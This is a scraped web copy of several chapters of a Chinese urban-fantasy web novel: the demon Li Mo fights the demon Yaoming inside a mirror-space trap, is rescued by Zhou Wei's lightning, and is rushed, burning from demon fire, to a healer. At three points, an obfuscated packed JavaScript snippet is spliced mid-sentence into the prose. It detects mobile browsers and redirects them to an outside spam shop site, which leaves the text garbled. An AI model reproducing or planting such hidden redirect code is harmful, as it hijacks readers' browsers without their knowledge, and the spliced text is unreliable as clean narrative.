灶台上砂锅里煨着的火锅汤底正在咕嘟咕嘟地冒着泡,热气和汤汁从边缘滋溢了出来,盖子被顶得叮当乱响,在砂锅边缘磕碰出清脆的声音。 周纬猛然惊醒。 他赶紧走进厨房关了火,然后回头,望了望客厅墙上悬挂着的老式挂钟。 晚上七点五十七分。 距离李默出门买海鲜,已经有接近半小时了。 买个海鲜而已,需要那么久吗? 周纬有些犹豫。他有些分辨不出究竟是因为自己过于渴盼李默回来所以度秒如年,还是李默确实出门的时间有点太长了,有心想打个电话问问情况,却又担心这点小事都要问东问西,会不会让李默觉得烦人啰嗦? 犹豫片刻,周纬还是掏出了手机——管他的,说不定李默是因为东西太多拿不了呢?打个电话问问情况,实在不行自己就下去接他。 周纬坐在餐桌前,完全无视了“李默是个A级妖类”和“自己是个伤病残”这两大事实,冠冕堂皇地说服了自己,心安理得地拨通了李默的手机号码。 “您拨打的电话正在通话中,请稍后再拨……” 周纬一愣,占线? 李默的电话占线这还是头一次,已经这么晚了,是谁在这个时候给他打电话? 然而周纬突然一蹙眉——不对。 提示“正在通话中”不一定就是真的占线,还有可能是对方主动挂断、呼叫转移或是信号不稳定等其他情况,甚至如果自己被单方面拉黑,再打对方电话也会响起这种提示音。 这种情况下一般留意一下提示音响起的时间就可以判断了,真正占线的话只要一拨通就会响起提示……然而倒霉的是,周纬刚刚神思不定,恰好没留意。 可他也笃定李默不会拒接自己的电话,更不会拉黑自己。 周纬皱了皱眉,毫无来由地,他突然感觉到了一丝莫名的不安和心悸。 毫不犹豫地,他第二次拨通了李默的电话。 “您拨打的电话暂时无法接通,请稍后再拨……” 没信号?怎么会突然没信号的?! 周纬豁然起身。就在此时,一阵冷风从李默没关牢的厨房窗户里倏地冲了进来,墙上挂钟指针分秒不差地归位,发出“铛——”的一声悠长空寂的回音。 一层冷汗悄无声息地爬上了周纬的脊背。 * “芥子笼,有意思吧?”男人上下抛接着一个台球大小的透明状琉璃质球体,饶有兴味地道:“但我没想到你会这么轻易地就陷进来,还以为要多费一番功夫呢……你的神识不是很灵敏的吗?刚才在想什么,走神走得那么入迷?” 李默不答他,转头看了看周边的环境。 他出门的时候为了抄近路,走了小区旁边的一条窄矮的小巷,穿过小巷就是一条宽阔的马路,马路对面就是那家超市。回来的时候他也是原路返回,如今仍身在那条小巷中,周边的一切景物看上去都很正常,与他来时别无二致。 只是身边没有了风,也失去了所有的声音。一模一样的月亮悬在头顶,月光照在巷内,却带出了一片妖异的紫红色。 这是个虚假的世界。 “芥子笼”这种灵器他听说过,取义“须弥芥子”,但其实根本不是那么厉害的东西。它的原理是划定一个区域,在灵器内部复制一个一模一样的镜像空间,一旦有人踏入这片区域,如果没有立时察觉镜像空间的存在,立刻就会被吸入到这个空间里,陷入“笼”中,与外界隔绝。 这个“笼”从内部来看坚不可摧,可从外界看来却不难打破,然而问题就是在外界的“笼”可能只有芝麻大小,字面意义上的是个“芥子”——打破确实不难,找到可能得上显微镜。 也就是说,在外界看来,就是他一个大活人拐进了一条小巷子,然后凭空消失,人间蒸发了。 李默在心里无声地叹了口气。 “芥子笼”一旦陷进去就很麻烦,但其实如果留神的话,在外界的时候是不难察觉的……是他心神不定,大意了。 只可惜…… 周队还在家里等着他吃火锅呢。 他有些不太理解,上次是玉一,这次又来了个夭冥……这些妖类怎么净挑人家吃饭的时候跑过来捣乱? “哎哎,我在跟你说话呢,当着别人的面就走神是否有些不太礼貌?”夭冥走出阴影,看表情颇为不满似的,然而随即就露出一副恍然大悟的神色:“哦,不对,是我失礼在先了,忘了我们还没有正式见过。” 他一躬身,手臂在身前挽了个花,做做出一副想要行礼的姿态:“初次见面,我叫夭……” “夭冥,不用介绍了,我知道你。”李默毫不客气地打断了他,看都没看他一眼,走到小巷一侧,将手上的刚买的鲜活海鲜扎紧了口袋,稳妥地放到了墙根下。 夭冥伸出猩红的舌头,舔了舔森白的牙齿:“没礼貌的臭男人。” 李默安顿好了那一袋子海鲜,终于转过脸来,把夭冥放进了眼里:“你有什么事?” 其实异监局的资料上并没有夭冥的正面画像,只有一个模糊的剪影,看得出来是个身材瘦高的青年男子,留着一头蜷曲张扬的红发。而此刻,妖异的月光纤毫毕现地照亮了整条小巷,也终于照亮了男人的形貌。 说实话夭冥长得并不难看,甚至可以说有几分俊美,只是美得雌雄莫辨,妖气冲天。他眉目狭长,眼尾上翘,唇色是异常的红,像是上了一层夸张的舞台妆一般。他的声音偏柔偏细,说话的时候总像捏着嗓子一样,这让他的声音听起来有种唱歌般的奇特韵律;而且这人走路的时候也一摇三摆的,带着点儿弱柳扶风的意味,只是装腔作势太过,就全成了矫揉造作的阴柔。 “其实也没有什么正事,聊聊天而已咯。”夭冥嘴角勾起一个笑容:“我送去的礼物,喜欢吗?” “礼物?” “那个叫冯坤的小男孩,”夭冥眨了眨眼睛,仿佛是在抛媚眼:“还有,那些神奇的血清。” 李默对他的挤眉弄眼视而不见:“所以那些灵力血清,确实是你的手笔。” “这话可不对。”没想到夭冥竟然否认了:“我可做不出来那么没品的东西,我喜欢的是欣赏美和创造美,可不喜欢把人变成怪物。” 这妖类的原身怕不应该是蛊雕,而是只搔首弄姿的孔雀,一句话不转出十八个弯来就说不下去,故作扭捏的姿态能让人看一眼起半年的鸡皮疙瘩。李默委实不能理解这种恨不得把“神经病”三个字刻在脑门上的行为,只好强行忽视了他的疯言疯语,只挑重点有用的听:“所以说灵力血清不是你们做出来的?” “嗯哼。”夭冥低头玩弄着自己细长尖利的血红指甲,飘出了一个娇俏的音节。 “那是谁制造出来的?” “无可奉告。” “你们是怎么得到的?” “我说偶然你信么?” “为什么找上冯坤?” “当然是因为他身边的那只钦原啊!”玉一笑了,充满怜爱地看了李默一眼,仿佛他问了个智障一样的问题:“你不是在查那个符号么?我这不就把那只钦原送给你了?哦对,不光是你,还有你的那位周大队长——一次性送你们两份大礼,解决你们两个人的恩怨,怎么样,惊不惊喜?感不感动?” 李默既不惊喜也不感动,他整个人都震惊了。 夭冥居然也知道那个符文印记! 所以这是什么意思?他也跟严瑾有渊源吗? 而且他找上冯坤果然是因为玉一!听他刚才的意思,他不仅知道那个符号的含义,甚至也知道自己在追查那个符号,所以故意把灵力血清送给冯坤,引拥有符号标记的玉一现身,把他暴露在了异监局眼前。 甚至他可能对那一整个杀手组织都了若指掌,之所以独独挑中玉一送过来,是因为周队跟玉一的渊源? 确实,如果他说的两份礼物,指的是玉一暴露出来的杀手组织,和冯坤牵扯出来的灵力血清——那这两份礼物还真是重磅,直接将整个异监局都炸得天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269635|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崩地裂、风起云涌。 李默感到一阵毛骨悚然。 这个夭冥到底是什么人?怎么什么都知道?怎么会如此手眼通天? 不、不对…… 手眼通天的可能并不是他。 李默记得灵器黑货案之后,周纬曾经跟他提过,他并不认为整个案子的主导者只有夭冥一人。夭冥一个妖类,很难调动那么庞大的社会资源,布置下那么一个周密的、环环相扣的连环局,引多方势力入阵。另外他详细看过夭冥的案卷,根据异监局的记录,夭冥是一个以杀害女性为乐的变态,甚至还有玩弄尸体的恶劣癖好。虽然变态并不意味着不聪明,但是变态通常很难融入正常社会,更有可能性格偏激古怪、行为乖张,能够耐心策划布局、步步推演筹谋的可能性实在很小。 所以周纬认为,在夭冥背后,很可能还有一个人,那人才是真正的幕后执棋者,而夭冥最多只是他推出来的一个明面上的代言人。 毕竟,夭冥够疯、够强,也够能吸引各方的注意力。 因为有了周纬的这份猜测打底,所以李默也故意留了个心眼儿,在刚刚和夭冥交谈时,他也用了一点话术。 他一直对夭冥说的不是“你”,而是“你们”。 而是夭冥毫无所觉地答应了,对答如流。 也就是说,不管他身后是不是如周纬所说,有另一个“执棋者”的存在,至少他也不是孤身一人在行事。 甚至他的背后,也可能潜藏着一个组织。 李默顿时一阵头大。自灵器黑货案开始,各种各样乱七八糟的组织和团体就开始层出不穷,有私贩灵器的、有豢养杀手的,制造灵力血清这事儿看起来也不像是单独某一个人的手笔,如今夭冥的背后可能也有个组织……怎么回事?这年头超自然界犯罪也开始流行拉帮结派,搞团团伙伙了吗? 还有这些组织这么长时间都潜藏得好好的,怎么突然就跟雨后的蘑菇似的全都冒出来了?异监局总部这些年都是干什么去了? “你知道吗?”就在这时,夭冥突然又开口了。 他从口袋里掏出一个指甲钳,给自己纤长尖利的红色指甲修了修形,细心地吹去上面的浮屑:“我讨厌你们这些狗男人的一点就是,傲慢。” "永远自以为是,永远学不会尊重、学不会欣赏,个个都觉得自己是世界的中心。"夭冥收起指甲钳,嘴角的笑容不变,血红的双瞳中却骤然浮起一抹阴森:“第一次,第二次……你已经在我面前走了三次神了。” “粗鲁无礼,唐突佳人……”他垂下眼睫,轻声道:“我今晚本不想杀你,但你已经算得上取死有道了。” 李默:“……” 他沉默半晌,终于还是忍不住说了实话:“你真的,算不上佳人。” 夭冥:“……” 他脸上的血色笑容骤然扩大:“你、找、死。” 话音刚落,一声尖厉啼啸声响起,小巷中骤然刮起了一阵紫红色旋风,夭冥整个人如离弦之箭般弹射而出,五指在李默眼瞳中骤然放大! “轰然”一声巨响,整条巷子顿时塌了半边! 凌厉罡风席卷而过,所到之处所有砖石全部爆开!数息之后烟尘缓缓平息,夭冥的身影出现在了李默原先所站的地方,垂眸看着自己尖长的五指。 那指甲上穿着一只鲜活的海胆,汁水淋淋漓漓,滴得他满手都是。 然后紧接着,他的手背上绽开了一道鲜红的、深长的划痕。 “你错了。” 夭冥抬头,只见李默不知何时出现在了巷子的矮墙顶端,正垂手而立,身上不染纤尘。 他居高临下地望着他,那轮虚假的妖紫色月亮悬在他身后,构成了一幕巨大的背景。 “取死有道的人不是我,而是你。” “你从杀死薛青青的那天开始就注定该死了。”李默平静淡然地望着他,甩了甩手,指尖夭冥的鲜血滚落滴下,在墙上留下一个艳红的圆点:“既然今天送上门来,那就把命留下吧。” 66.山神 “周队,没有!” “周队,这个方向也没有!妖力和灵力反应都没有!” “周队,我这里也是!” 此起彼伏的汇报声纷乱地响起,周纬深吸了一口气,强行压下作乱的心跳。 他扫了一眼手机,屏幕上显示的时间刚刚跳到八点十二分。 距离李默的手机信号消失,已经过去了十二分钟。 在这十二分钟里,“烛照”系统已经将小区周围来回扫描过三遍,没有发现任何灵力和妖力波动。 在市局值班的何昭华直接点了一队监察员过来,用手持式监测设备这附近细细扫描过一遍,还是没有发现任何踪迹。 而在他们之前,周纬自己也已经放出神识,将周边全部感知了一遍,一无所获。 李默究竟在哪儿? 周纬狠狠闭了闭眼。 冷静。 冷静。 这时候惊慌失措对李默没有半点帮助,唯有冷静思考才能找到蛛丝马迹。 好好想想,李默不可能凭空失踪,再精密的陷阱也一定会留下线索和破绽。 李默的手机信号消失了——大概率是空间系能力,通常只有这种能力可以阻隔信号传输,李默应该是被困在了某个异空间; 没有灵力和妖力波动——说明不是即时型陷阱,应该是提前布设好的,只等李默踏进来; 是灵器、符箓还是阵法? 陷阱又会提前布设在哪里? 周纬豁然睁眼,转身便走。周围的监察员只见他大步流星飞奔而过,来到了小区附近一条窄小的巷子前。 那巷子并不长,只有几十米,站在巷口一侧,便可以望到对面车水马龙的公路。巷子里虽然没有灯光,但今夜月明,如水月华足以照得这条小巷纤毫毕现,里面除了周围人家堆放的一些杂物,一个人影都没有。 周纬没有进去,就在巷口停了下来。 他的目光扫过空无一人的街巷,眼神晦暗不明。 然后,在所有监察员震惊的目光中,他缓缓抬手,揭开了被三角巾吊悬在脖子上的左手。 李默是出门买海鲜的,他要去的地方肯定小区附近的那家生活超市,而要去那家超市,最快的方法就是穿过面前这条小巷; 所谓的陷阱应该不是传送类能力,否则不管传到哪里,都不太可能出现手机信号消失的情况,李默应该还在原地,只是被空间能力阻隔,所有人都看不见他; 这种能力既然会分割空间,找起来自然困难,在搜索不到灵力和妖力的情况下,靠肉眼想找到想必更是天方夜谭。 但没有关系。 不管是灵器、符箓还是阵法,只要受到外来灵力干扰,必定都会有所反应。 既然找不到,那就把整条巷子翻过来! 周纬对着空荡荡的小巷,抬起左手。 下一秒,霆华之印骤然大亮,万千雷霆爆发! * 轰! 此时此刻在芥子笼内,小巷中早已换了另一副场景。 原本芥子笼复制的场景就范围有限,然而笼内的空间是无限大的,超出复制区域的地方,便只有再“粘贴”一次。也就是说,笼内现在有着无数条一模一样的小巷,从高空望去,整个世界仿佛变成了一个“回”字形迷宫。 此刻迷宫的一角已经塌了,烟尘四起。 芥子笼复制的场景,其物理强度跟外界是一模一样的,根本经不住两个A级妖类放手开打。李默和夭冥交手几个回合,已经把整条小巷破坏像是遭了八级地震,片刻后烟尘徐徐落定,显出了一大片的断壁残垣,活像被导弹轰炸过。 夭冥的身形首先显现出来。也许是鸟类习性作祟,他总爱攀高,身形一闪就出现在了不远处的屋檐上。 刚刚经过一番交手,他的身上竟全无脏污,除了手背上那道划伤,丝毫不像是经历了一场大战。微卷的红色长发在背后翻飞飘舞,夭冥狭长的眼睛微眯了眯,声音戏谑:“喂,就这种程度了吗?” 话音落地,李默的身影也出现在下方。 和夭冥的好整以暇相比,李默的状态堪称狼狈。他的外衣已经不知哪里去了,身上沾了不少尘土,左臂衣袖撕裂了一个大口子,脸颊、肩膀和大腿等地方都有不少血迹和擦伤,虽然都不重,但很明显可以看到谁在刚刚那场对战中处于下风。 只是和他略显狼狈的状态相比,李默的神情倒还算镇定,用手按着胸口闷喘了几声,他抬头望着上方的夭冥。 刚刚他跟夭冥的几次交手,可以很明显地感受到夭冥有戏耍的成分在——本来也是,他灵枷在身无法动用妖力,而夭冥满状态不说,身为蛊雕甚至还有空中优势。如果夭冥真刀真枪地跟他打,自己不可能坚持到现在,还只受这么一点儿皮外伤。 刚才那一回合,夭冥其实根本没动真格的,只是仗着空中优势在半空中轰炸,就已经逼得李默不得不四处躲闪蹿逃。 此消彼长,这样下去这场战斗的结果不消多说。 只是虽然己方劣势明显,李默面上倒也并不怎么慌张。可能只是他沉稳惯了,七情不上脸,再怎么惊慌也面上不显。 就在此时,夭冥忽然又开口了:“话说,如果你只是这种程度的话,倒是有点名不副实啊?” 也许是自觉优势在我,夭冥干脆一屁股在巷子顶上坐了下来,翘起二郎腿,摆出了个娇俏妩媚的姿势,朝着李默嫣然一笑:“你知道我为什么今晚特意要来见你一面吗?因为我真的很好奇。” 他歪了歪头,脸上露出一副回忆的神色,双手习惯性地梳着自己的长发:“两年前我去过一次北方,前往雍京的时候路过临津地界,曾经经过一片很有年头的山脉。我本来以为这种深山之中肯定有妖类出没,就想着去看一眼,没想到翻遍了整座山都没找到。最后没有办法,我只好抓了几只鸟雀询问,结果你猜它们怎么说?” 他抬起头来,深深地看了李默一眼:“它们说,妄山山神已经死了很久了。” 李默的身体微不可察地一震。 “以一己之力庇护山川草木三百年,以妖族之身而称神名,就养出来你这样一个货色么?”夭冥颇感兴趣地看向李默:“大道三千,没想到这种吃力不讨好的路子也有人走,你还真相信天道有常,山泽之精能帮助你渡过天劫么?” 李默默然不应。 “好吧。”夭冥无所谓似的耸了耸肩:“至少你帮我排除了一个错误选项。” 然而就在此时,李默忽然开口了。 他道:“我到目前为止,还从未历过天劫。” “什么?不可能!”夭冥的眼睛倏然瞪大了,脱口道:“没有历过天劫,你难道化形落地就是A级?!” “信不信随你。”李默淡然道:“只是我虽不知山泽之精是否有助于渡过天劫,但显然你那套吸食女子精气的办法是行不通的。否则,你又何必这么着急地四处打探渡天劫的方法呢?” 他的眼角忽然弯了弯,眉目之间露出一丝戏谑:“你见过能引天雷下凡的人类吗?下次我介绍周队给你认识可好?” 夭冥的脸上骤然蒙上了一层阴沉。 “是么?”他森然道:“那不然我挖出你的妖核,送给你那位周队当见面礼?” 话音刚落,狂风骤起! 刹那间连天上那轮虚假的月亮都暗了一暗,夭冥的身形拔地而起,背后骤然伸出两片巨大的紫红色羽翼! 那两片羽翼单只翼展都有两三米长,上面的羽毛纹路根根纤毫毕现,尾端渐渐化为火焰,气派威武的同时却又横生一股妖异。这不是蛊雕的本体虚影显化,而是纯粹由无比强横的妖力凝结而来,羽翼骤然伸展的同时,铺天盖地的妖力威压当头降临! 夭冥一抬手,虚空中骤然凝结出无数根紫红色羽毛,根根带着火焰流光,随着夭冥一挥手,羽箭密如雨下! 李默脸色骤变。 这种程度的攒射简直堪比加特林,夭冥以妖力凝结成的羽箭简直无穷无尽,凌空追着李默扫荡,强横的破坏力直接将脚下小巷打得粉碎,无数砖石土块暴起,浓烟粉尘弥漫一片。 然而浓烟过后,李默却不见了踪影。 夭冥:“?” 他徐徐落在屋顶,一挥手一股劲风吹散脚下的瓦砾粉尘,露出面前的一片狼藉。 确实没人。 夭冥有些疑惑。以李默刚才表现出来的速度,这一招大范围的攻击,他应该是躲不开的。夭冥预判就算不能直接要他性命,至少也能将他重伤。然而此刻不仅他踪影全无,空气中也没有多出来的血腥味儿——怎么回事? 他先是一愣,随即就反应过来——不好! 他双翼一拍就要再飞起来,却不想才刚刚离地半尺,脚下阴影里突然伸出一只手来,猛然抓住了他的脚踝! 夭冥骇然大惊:“你!” 李默居然就藏身在他的脚下! 他藏拙了!刚刚交手时他所展现出来的根本就不是他的极限速度!他之前拼着受伤,就是要让自己麻痹大意,这死男人居然在战斗一开始就在算计自己! 夭冥大惊失色,身上妖力勃然爆发,翅膀上的火焰骤然大炽!然而无论他怎么挣扎,李默的手却始终如铁钳一般,牢牢地箍着他的脚踝,看上去简直把不断挣动的夭冥当成了个鸟人风筝。 他保持着高举手臂的姿势,微微一歪头:“你可知道,山中野兽也是会扑鸟的么?” 说罢,他猛一发力,手臂抡了个圆——直接把夭冥狠狠砸在了屋顶上! 夭冥作为一只蛊雕,能飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282412|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他的优势,然而一旦被擒,他们有翼族身轻体敏的特征就会让其在力量对抗上瞬间落入下风。这一轮一砸伤害不大,侮辱性却极强——李默直接把夭冥脸朝下狠狠平拍在了屋檐上,摔了他个狗啃泥不说,还扑簌簌震掉了他无数羽毛。 漫天飞落的羽毛中,李默鼻子一皱,露出了一个像是要打喷嚏的表情:“……你到换毛季了么?” 夭冥暴怒:“你——” 然而还不等他说完,李默攥着他的脚踝,反向180°又给他砸了回去! 夭冥雌雄莫辨的脸庞完全扭曲起来。他此刻一点也不邪魅神秘了,长长的红色头发糊了他满头满脸,被李默这毫不留手的两下砸得鼻血长流,简直是字面意义上的“满脸桃花开”。想必这妖类从降世开始就没受到过这种羞辱,当场长唳一声,翅膀上的火焰骤然蔓延,眨眼间就裹满了他的全身! 这火焰没有温度,反而给人一种刺骨的寒意。李默抓着夭冥的脚踝,手上也不可避免地沾染了这种火焰。然而他不仅没有当即退开,反而用力一拽,将横躺在前的夭冥直接拽到了自己面前,然后一拳挥下! 夭冥一声尖叫:“你疯了!” 仓促之下他只能架臂格挡,然而有翼族轻而中空的骨骼全然挡住不这开山裂石的一拳,只听一阵暴烈的噼啪骨裂声响,夭冥惨叫一声,直接被李默这一拳打穿屋顶,生生砸进了屋里! 李默的右臂沾满了紫红色妖火,那质感根本不像正常火焰,反而更像是某种冰冷诡异的流质,一旦沾染就无法甩脱,而且并不燃烧衣物,反而丝丝缕缕地渗入皮肤往身体里钻,眨眼间就钻入了李默的胳膊,消失得干干净净。 然而李默根本没打算因为这点儿火焰就放过夭冥,紧跟着就从房顶的大洞跳了下去。半分钟后,整个屋子轰然坍塌! 炽烈的火光迸发,无数砖石粉尘四散飞溅,一片混乱中两个人影同时飞出,李默的拳头还顶在夭冥的胸膛上! 一声巨响,夭冥轰然撞上对面墙壁,猛地喷出一大口鲜血。他的一只胳膊明显断了,软绵绵地垂在身侧,胸膛甚至都凹陷下去一块,另一只手臂死死攥住李默撞在他胸前的拳头,披头散发状若癫狂。 两人距离极近,夭冥的呼吸都带着血气,嘶声怒吼:“李默,你不要命了?!我的火焰能燃尽妖力,你就不怕我直接烧了你的妖核?!” “哦,”李默平静道:“你杀死薛青青的时候,想过也会有害怕被别人杀死的一天吗?” 夭冥简直不敢置信,李默竟然真的要为了薛青青那只区区D级小妖来杀他这个A级,甚至不惜搭上自己的一条命作为陪葬! 这人是疯了吗?! 惊惧之下,夭冥的妖力再次暴涨,紫红双翼上炽光大放,翅膀上的无数箭羽简直要凝为实质,双翼骤然在李默背后合拢,眼看就要将他千刀万剐!而李默根本不闪不避,左手上提掐住了他的咽喉,右手立掌成刀直刺夭冥心脏,竟是要硬生生把他的妖核剜出来! 眼看着紫红箭羽近在咫尺,李默的指尖距离夭冥前胸只剩半寸—— 轰! 镜像空间猛然破碎,无数雷霆裹挟着千钧之力从天而降! 芥子笼破了! 刹那间雷电森林吞没一切,蓝紫色电光在巷内暴虐纵横,两个激战中的妖类同时落回现世,又在吞天噬地的雷霆电光中同时僵直。下一秒,夭冥率先恢复,左翼狠狠一拍把李默掀飞数米,在地上翻滚了几次才稳住身形。 “李默!” 芥子笼破除,两个妖类骤然在异监局众人面前显出身形。周纬的声音从身后传来,他猛地扑到李默面前:“你怎么样?!” 他用霆华之印召来天雷,将小巷内的每一寸地方都犁过一遍,反复三次才终于击碎芥子笼,根本没看清楚空间里面是什么情形,此刻看到李默单膝跪地,霎时间肝胆俱裂:“你受伤了?!” 李默一手死死按住自己胸膛,手背青筋暴起,眼神晦暗,咬牙低声道:“……我没事。” “他不会没事的。” 两人同时抬头,夭冥已经悬浮在了半空中。他早已不复刚刚现身时的从容优雅,蓬头垢面长发散乱,胸腔塌陷,胳膊更是直接断了一条。这些伤势其实对A级妖类来说都不算致命,然而这却是他自化形以来,最狼狈凄惨的一次。 夭冥双翼展开,居高临下地俯视着周纬和李默,又抬头看了看街头巷尾正在集结的大批监察员,脸上浮现出不加掩饰的怨毒。 “他中了我的妖火,会从内到外被烧成一副空壳……但是李默,你最好能活下来。”夭冥的视线死死钉在李默身上:“我要你活着给我记住……下次见面,我会向你献上,我的最高礼遇。” 说罢,他双翼一展,飘渺焰色迅速远去,流星般消失在夜空中。 67.危情 “周队!怎……”巷口围着的监察员们刚想迎上前来,就见周纬扶着李默从巷口出来,二话不说直奔一辆监察车,猛地拉开了车门。 “告诉老何,现场让他接手,用烛照追踪夭冥,有目击者带回局里走记忆清晰程序。”周纬将李默送上了副驾,他随手抓来一个监察员嘱咐了两句,话音还没落地人就已经上了车,“砰”的一声摔上了车门。 “等等,周队!”那个周纬随手抓来的监察员一脸茫然地跟了两步:“默哥怎么了?你要带他去哪儿?” 引擎一声轰鸣轧断了他的话音,尾气喷薄而出,监察车一个甩尾横冲直撞地驶离了小巷,轰然撞入了主路车流中。 * 驾驶座上,周纬飞速拨号,一阵漫长无比的“滴滴”声之后,电话对面终于响起了一个慵懒的声音:“喂……” “白泽,”周纬没等他说第二个字就直接开口:“是李默受伤了,他中了蛊雕的妖火,你有没有办法?” “卧槽!”白泽那边立时吓了一跳:“怎么刚走一个钦原又来一个蛊雕,你们跟鸟人干上了?” “别说废话!你到底有没有办法?” “他中招多久了?” 周纬扫了一眼手机屏幕:“十九分钟。” 电话那头又传来一句脏话。 “没时间了,半小时内把他送到我这儿来,人就还有救。”白泽的语速变得又急又快:“蛊雕妖火可以燃烧妖力,记住千万不要给他解开灵枷!有灵枷镇压他还能多撑一会儿,解开灵枷只会发作更快!” “好,我们十五分钟内到。” 周纬没有再多说,挂断电话,同时直接打开了车顶警笛。警笛开路前方车辆立时分流,监察车尾灯拉出了两条缥缈的弧线,离弦之箭一般朝着城南驶去。 然而监察车毕竟不是周纬常开的那辆路虎或奥迪,性能有限,一再加速之下车身顿时颠簸起来。周纬左手紧握着方向盘,只剩三根手指的右手攥着换挡杆,感觉自己的一颗心在胸腔里随着车身晃动撞来撞去,几乎要撞破肋骨。 像是有人同样在他胸腔里放了一把火,暴怒、焦灼和恐慌烧得他喉头滚烫,周纬太阳穴突突狂跳,感觉自己唇齿间泛出了血气。 “周队……” 就在此时,他听到身旁传来一声压抑的低喘。 “你别说话。”周纬看都不看就打断他:“你听到白泽刚刚说的了,十五分钟内赶到,你就没事了。不要说话,保存体力,我们很快就到。” 他的目光像是焊死在了前挡风玻璃上,肩背紧绷,颈椎硬得像是装了钢板,就是不肯扭头看副驾上的人一眼。 然而没想到,身边的人并不肯放过他。 一声轻响,周纬下意识地低头一瞥,只见一部手机落入了换挡杆的前的储物格里——李默的手机。 “周队,”李默的声音闷闷的,带着空洞的喘息,像个拉破了的风箱:“那个夭冥……交代了一些事……可能对案子……有用……我录了音……” 这句话就跟针一样倏然扎进了周纬的脑仁,周纬的双眼骤然赤红起来。 “你闭嘴!” 然而这句失控的话一出口,李默的身体骤然蜷缩起来,他像个虾米一样弓起了身子,狠狠按着自己前胸,身体剧烈痉挛起来,紧接着猛然仰头喷出了一大口血! 周纬心跳骤停。 那口血淋漓地喷到了驾驶台上,血迹中带着明显的紫红色,一落地就骤然燃起了一股紫红色火苗,刹那间燃烧殆尽! 这种火焰要是烧在人的身体里…… 李默整个人摔回了座椅上。他剧烈地喘息着,蜷在座椅和车门的夹角处,全靠安全带勒着才勉强没有滑落下去。他面色惨白,牙关咬得死紧,大汗淋漓,浑身都在控制不住的痉挛,按着胸腹的力道像是要把自己生生捅穿。 痛。 太痛了。 每一根神经都像是变成了滚烫的烙铁,妖火入体的痛苦根本不是正常人能忍受的。李默把自己死死压在椅背上,痛到浑身抽搐痉挛。 他能够清晰地感觉到丝丝缕缕的火焰在顺着经脉游走,烧灼着他的每一寸血肉、内脏和骨骼。身体里像是钻进了无数的虫子,在体内到处乱窜,侵蚀啃咬,将他的身体烧灼得千疮百孔。 他痛到视线模糊,眼前时而清晰时而扭曲,抽气抽得断断续续,整个世界仿佛成了一部坏掉的相机,忽远忽近找不到焦点。 “李……李默,你坚持住……别睡……” 恍惚中他感觉到,有什么东西在勾他的手指。 周纬的视线不敢从眼前的路面上挪开。监察车已经飚到了接近一百迈,在市区冲到这个程度,一个不小心就是车毁人亡。他不敢走神,然而身旁李默低喘的声音仿佛化成了把锯子一下下切在他心上,他终于还是难以忍受,微微侧身去够李默垂落在身边的手。 他的手皮瞬间炸开,电光石火间,意识一片虚无。 李默的手是冰凉的。 周纬之前曾经很多次拉过李默的手。那双手不很柔软,但宽厚结实,沉稳有力,永远都是温热的,像他这个人一样,充满着令人安心温暖和力量。 从来没有像现在这样,冷得像是要从骨缝里渗出寒意来,仿佛已经失去了所有的体温。 周纬不敢去想这意味着什么,只能断断续续地喊他的名字:“李默……你、你跟我说两句话,别睡……” 他自己都没有察觉到声音里已经带上了哽咽。 “嗯……我在呢……” 周纬感到那只冰凉的手一动,轻轻回握了他的手指。 李默倚靠在座椅和车门的夹角处,视线刚好可以把周纬整个人圈在里面。 朦胧的视野里,周纬的侧脸明明灭灭。 他肩背紧绷,脸颊绷得僵硬,躬着身子凶狠地盯着前方,仿佛要去找什么东西拼命……车窗外路灯飞速退后,快速变幻的光晕让车内的一切都模糊成了斑斓的色块,李默眨了眨眼睛,视野的四角逐渐暗了下来,唯有中央周纬的侧脸随着光影变幻忽明忽暗,时而清晰,时而遥远。 奇迹般的,那种灼心蚀骨般的疼痛似乎微微消退了,行将黯灭的识海里乍然亮起了一点星子,李默弯起唇角,忽然下意识地笑了一下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290987|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 然后他头一歪,勾住周纬右手的手指终于支撑不住,滑落了下去。 * “白泽!” 周纬几乎是扑下了车,跌跌撞撞地抢过去拉开车门:“你快看看李默,他晕过去了……” “闭嘴!”白泽家所在平房区小巷四通八达,绝大多数车都进不去,只能停在外围。好在白泽人已经在巷子口等他了,一见他这副丢盔卸甲的模样就脑门上蹦青筋:“你他妈给我镇定一点!这种情况下还不晕你是想疼死他吗?!快过来帮我把他搬进去……尼玛这小子吃什么长大的怎么这么沉!” 昏迷状态下的李默真当得起“死沉”两个字,从巷口到白泽家小院不过数十米距离,周纬和白泽两个人却费尽了九牛二虎之力。两人终于把他挪到了院内的一间厢房,这里有一张小床,看起来就是白泽平常给人看诊的地方,旁边也早已准备好了药囊。 